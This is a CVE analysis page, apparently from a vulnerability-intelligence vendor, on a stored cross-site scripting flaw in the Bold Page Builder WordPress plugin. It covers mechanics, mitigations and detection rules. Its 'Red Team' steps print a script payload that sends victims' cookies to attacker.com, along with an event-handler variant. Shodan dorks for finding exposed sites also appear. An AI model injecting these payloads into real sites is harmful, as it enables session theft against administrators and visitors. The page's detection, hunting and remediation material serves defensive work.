☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-7730

CVE-2025-7730 Cross-Site Scripting in Bold
📅 PUBLISHED: 2025-10-23 22:25 UTC 🔄 UPDATED: 2026-10-02 00:03 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-7730 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 5.4.5. The flaw resides in the percentage parameter, which is insufficiently sanitized and escaped. An authenticated attacker with at least Contributor-level privileges can inject arbitrary web scripts. When a victim (including administrators or site visitors) accesses a page containing the malicious payload, the script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used page builder plugin, and the attack surface is broadened by the low privilege requirement (Contributor). The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis, but the risk remains high due to the ease of exploitation and the potential for lateral movement within a WordPress multisite environment.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not open-source in the traditional sense; it is a commercial product. Therefore, supply chain risk is limited to the plugin’s update mechanism and the trustworthiness of the vendor (Bold). Users should monitor for official patches and consider temporary mitigation measures.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – Attacker needs Contributor-level access.
  • User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
  • Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the combination of low privileges, no user interaction, and stored XSS makes it a significant threat in multi-user WordPress environments.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the percentage parameter of the Bold Page Builder plugin. The plugin likely uses this parameter to display a progress bar or similar visual element. The input is not properly sanitized (e.g., using wp_kses() or esc_attr()) before being stored in the database. When the page is rendered, the unsanitized input is echoed directly into the HTML, allowing an attacker to inject arbitrary JavaScript.

Attack Flow:

  1. An authenticated user with Contributor-level access creates or edits a page/post using the Bold Page Builder.
  2. The attacker inserts a malicious payload into the percentage field, e.g., 100%<script>alert('XSS')</script>.
  3. The plugin stores this payload in the WordPress wp_postmeta table.
  4. When any user (including administrators) views the page, the payload executes in their browser.
  5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Why Contributor-level? WordPress roles: Contributor can write and edit their own posts but cannot publish them. However, the XSS payload is stored and executed when the page is viewed, even if unpublished (e.g., via preview). This makes it a vector for privilege escalation if an admin views the preview.

Vulnerable vs. Patched Code

Since no official patch is available, we can only hypothesize the fix. The vulnerable code likely looks like:

// Vulnerable code (hypothetical)
echo '<div class="progress-bar" data-percentage="' . $percentage . '">';

The patched version should sanitize the input:

// Patched code (hypothetical)
$percentage = intval($percentage); // or use esc_attr()
echo '<div class="progress-bar" data-percentage="' . esc_attr($percentage) . '">';

Key difference: The patched code uses esc_attr() to escape the output, preventing HTML/JavaScript injection. Alternatively, the plugin could use wp_kses() to allow only safe HTML tags.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress instance with Bold Page Builder <= 5.4.5 installed.
  • An account with Contributor-level privileges.

Steps:

  1. Log in as a Contributor.
  2. Create a new page or edit an existing one.
  3. Add a Bold Page Builder element that uses the percentage parameter (e.g., a progress bar).
  4. In the percentage field, inject a payload such as:
    100%<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save the page as a draft or publish it (if allowed).
  6. Wait for an administrator or other user to view the page. The script will execute, sending the victim's cookies to the attacker's server.

Advanced Payload: To bypass potential filters, use event handlers:

100%<img src=x onerror=alert(1)>

Blue Team (Defensive)

Detection:

  • Monitor for unusual percentage parameter values in page builder elements.
  • Look for patterns like <script, onerror, onload, or javascript: in post meta fields.
  • Use WAF rules to block common XSS payloads in POST requests to wp-admin/post.php.

Hunting:

  • Query the database for suspicious entries:
    SELECT * FROM wp_postmeta WHERE meta_key LIKE '%percentage%' AND meta_value REGEXP '<script|<img|onerror|onload';
    
  • Review recent page edits by Contributor-level users.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
  • Host: Unusual JavaScript code in the wp_postmeta table, specifically in meta keys related to Bold Page Builder (e.g., _bold_page_builder_data).
  • Logs: wp-admin/post.php POST requests with percentage parameter containing HTML/JavaScript.
  • File: Modified plugin files (though unlikely for stored XSS).

Example IOC in logs:

POST /wp-admin/post.php HTTP/1.1
...
post_title=Test&percentage=100%3Cscript%3Ealert(1)%3C/script%3E

Detection Engineering

YARA Rule

rule CVE_2025_7730_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Bold Page Builder percentage parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7730"
    strings:
        $payload1 = /percentage[^>]*<script/i
        $payload2 = /percentage[^>]*onerror/i
        $payload3 = /percentage[^>]*onload/i
        $payload4 = /percentage[^>]*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-7730 Stored XSS in Bold Page Builder
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS via percentage parameter in Bold Page Builder
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'percentage='
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in percentage field (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7730 Stored XSS in Bold Page Builder"; flow:to_server; content:"POST"; http_method; content:"percentage="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to operations.
  2. Restrict Contributor-level access to trusted users only.
  3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the percentage parameter.

Long-term Fix:

  • Vendor Patch: Await an official update from Bold. Monitor their changelog for version 5.4.6 or later.
  • Manual Code Fix: If you have access to the plugin source, add input sanitization:
    $percentage = intval($_POST['percentage']);
    
    Or use esc_attr() when outputting.

Workaround:

  • Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Bold Page Builder"
http.html:"bold-page-builder"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-7730/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.